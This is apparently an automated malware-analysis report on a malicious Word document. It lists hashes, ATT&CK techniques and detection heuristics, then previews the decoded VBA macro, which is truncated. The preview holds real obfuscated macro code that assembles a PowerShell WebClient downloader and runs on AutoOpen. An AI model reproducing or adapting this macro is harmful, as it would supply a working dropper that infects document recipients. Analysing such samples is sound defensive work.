Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46217dc4ef9fcef9…

MALICIOUS

Office (OLE)

292.0 KB Created: 2017-12-01 21:58:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: e3133b936cb53af89b03b2db9c287bd0 SHA-1: cba47111683347f13cb82ca01eed243e36322082 SHA-256: 46217dc4ef9fcef981be9a931995008f56b71e3f510721c33ed4b58b577e8fbb
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and utilizes a Shell() call, indicating an attempt to execute external code. This is strongly suggestive of a downloader or dropper functionality, where the macro is used to fetch and run a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6389653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6389653-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 147332 bytes
SHA-256: b3029c92e82a739b5abf1a1c6c02d457c01909c673d0056cfc6ebbaf57a66d17
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tMmrQkJuLhmb"
Function flakjwS()
BEGXiVr = Array(LTrim(LTrim("FTCDHmwAmhJcE" + "DGiPlADiXck")), LTrim(LTrim("aMbkHotlFt" + "SHEwupwkClf")), LTrim(LTrim("KvRiilbvaS" + "LjYCaUjTWKjM")), LTrim(LTrim("hDIoYrin" + "sQppGPzdzAzYsN")), LTrim(LTrim("nYPTRIKiiJ" + "admXijv")), LTrim(LTrim("rHMlOTUtN" + "MjoqmAzbPVn")), LTrim(LTrim("mGfEpWqZRQdb" + "OanBzzPwzW")), LTrim(LTrim("MjqmYHUadJ" + "GFJiwCnPwG")))
rOZYimbDSv = Mid("SXj3wk1958OwuGucHAR]53+[Jsy+JsycHAR]112'+'+Jsy+Jsy[cHAR]97),[sTrINg][cJsy+JsyHAR]92J'+'sy+'+'Jsy) SYF & ( k2KS'+'helLiD[1]+kJsy+Jsy2KShELLID'+'[13Jsy+Jsy]+ZJsy+Jsy'+'iFxZiF)Jsy)-rEPlAc'+'E([cGV1d0OiXQIwDkmlD77pLHjE", 16, 176)
RXslIQf = Array(LTrim(LTrim("zkYrUvd" + "hGnhzoiGYrKiVW")), LTrim(LTrim("zJpjZJusLzD" + "miQbBhNhz")), LTrim(LTrim("nrnPKJEuJic" + "ZifPEnm")), LTrim(LTrim("cjtZsbHPJ" + "IojWVwtJwloQoU")), LTrim(LTrim("jFiwlcavjAEz" + "XiBolLaoZ")), LTrim(LTrim("MjWuoBZ" + "vYnMWYTX")), LTrim(LTrim("htwWRBfmQj" + "ictzGDWQPiltKo")), LTrim(LTrim("YaKMcVOq" + "ucjufqHYRZhTi")))
iwEEQ = Array(LTrim(LTrim("UXaMaPXX" + "ojGsFfEAKvDw")), LTrim(LTrim("uUirUwNI" + "aTzPSLMjFCFY")), LTrim(LTrim("WwRZSzmEACO" + "dGdiuYKc")), LTrim(LTrim("JnsqNso" + "qBtoOzjavjP")), LTrim(LTrim("dZQlGoFizK" + "uvZMLYjFEwb")), LTrim(LTrim("BVUPIuIz" + "vGcjWHjYmGfjY")), LTrim(LTrim("sokXBLaLXCPPPm" + "znoKkzpzdp")), LTrim(LTrim("AhRsvddXc" + "XWHnSjjZTHs")))
aWarQur = Array(LTrim(LTrim("irutXPpOzcmYs" + "CBfDORhzSF")), LTrim(LTrim("SjXvWjR" + "BwDDwCLLUL")), LTrim(LTrim("BZicqovtWRHfZ" + "rFjRTcwVAqcwz")), LTrim(LTrim("ADGMnfEbkGjH" + "muGuQiPHzft")), LTrim(LTrim("iqjZrAs" + "OtTLurukPVZkM")), LTrim(LTrim("KbuwLUi" + "DXMMFoXCtG")), LTrim(LTrim("QLsauzYkirbFI" + "fjEiuoYIppvwi")), LTrim(LTrim("FMMcTwwrRAzz" + "jDibSDYZISYw")))
JiuGMuF = Mid("4Tru2hfRTSZHWSn2h ieX((('((Jsy (ZiFtYZJsy+JsyiFJsy+Jsy+ZiFMZiF+ZiFfZi'+'F+ZiFrZiF+ZiFanZiJsy+JsyF+Zi'+'Fc =ZiF+ZiF new-objecJsy+JsytZiJsy+JsyF+ZiF SyZiF+ZiFstZiF+ZiFem.ZiF+ZiFNet.ZiF+ZiFWebCliZiF+ZiFen'+'ZiwishliAdwGCrk", 18, 189)
JzQfPRQB = Array(LTrim(LTrim("wpSqVnwCrHikLs" + "fGmmsKwZQhWRPG")), LTrim(LTrim("JhYDjbZEIp" + "ZjQoWcZpDS")), LTrim(LTrim("UzmzPBJwViwU" + "ALHJRFCiwUlPJc")), LTrim(LTrim("urZCEcMZ" + "jLXvJTpcP")), LTrim(LTrim("nKUQYzQCX" + "BkGZwDiJuPV")), LTrim(LTrim("mqaFhHVdiIAqo" + "abBEoZp")), LTrim(LTrim("QzFwwFpjizzzYd" + "SQJhuAsjQkzdC")), LTrim(LTrim("pbvwsabA" + "KPowaAspbzlj")))
JdYawuo = Array(LTrim(LTrim("QHWDfvRmi" + "izmMroPEi")), LTrim(LTrim("CoEGNdvKMztodB" + "pVOVDfAFmDc")), LTrim(LTrim("rjlsOtBPbCP" + "BAHZhXqVljCTB")), LTrim(LTrim("bRCjSDlzEdbE" + "uclEmFYTCYa")), LTrim(LTrim("PNGvKiRrfS" + "NskMEEwdwcrv")), LTrim(LTrim("zcPNcPYsbLCpi" + "twJMzct")), LTrim(LTrim("LCtUPGubuX" + "NviODPQuq")), LTrim(LTrim("jhWZCDfpQrSz" + "QNUIzRwARfX")))
wiiNG = Array(LTrim(LTrim("DUkpaHwSULAi" + "npbYaQpNqmIjuM")), LTrim(LTrim("qwABRDl" + "wUHsUdlMsMcV")), LTrim(LTrim("YSBPtVMhc" + "jvucYKzR")), LTrim(LTrim("CDcDTYVjEZPUS" + "lRdwmYiYEWLbz")), LTrim(LTrim("BMCtujSMwP" + "rXmHHNpNEJKv")), LTrim(LTrim("NtKiwFrs" + "virXWZjXYVN")), LTrim(LTrim("vAvQzJWNs" + "qRpjBYoNq")), LTrim(LTrim("qQcDPkrQij" + "phwSsPNBwVfh")))
ifmZVIrvCqM = Mid("Q5fSUjwXKqmpbtw1aZi'+'F+ZiF,lEa)ZiF+ZJsy+JsyiF;ZiF'+'+ZiFtZiF+ZiFYMZ'+'iF+ZiFkarZiF+'+'ZiFaZiF+ZiFpasZiF+ZiF = tYMZiF+ZiFnsZiF+ZiJsy+JsyFaJsy+JsydasZi8jA2DNnazr9oiPRAD3pE", 17, 134)
VfTSS = Array(LTrim(LTrim("GKjFzjiCn" + "UWuMDPmifzO")), LTrim(LTrim("SBjHQcslPC" + "JwtvkTIkznlswN")), LTrim(LTrim("OiOmzXCkriWpS" + "JBPSWkQ")), LTrim(LTrim("UCLXOQhh" + "ktdNKWcC")), LTrim(LTrim("HLBMOdpinlW" + "cdWENMbcIlC")), LTrim(LTrim("Zlwprzfm" + "udFIHohhj")), LTrim(LTrim("wKiIQGIwKBa" + "VIqnchzmo")), LTrim(LTrim("jKhzRvG" + "tuYJGzrcfi")))
IwrUYhIwK = Array(LTrim(LTrim("sahqXLjKfpZ" + "XsAMSGiMfBk")), LTrim(LTrim("OIJbMtCLiwLpCA" + "TzZJrWnUWMoiP")
... (truncated)

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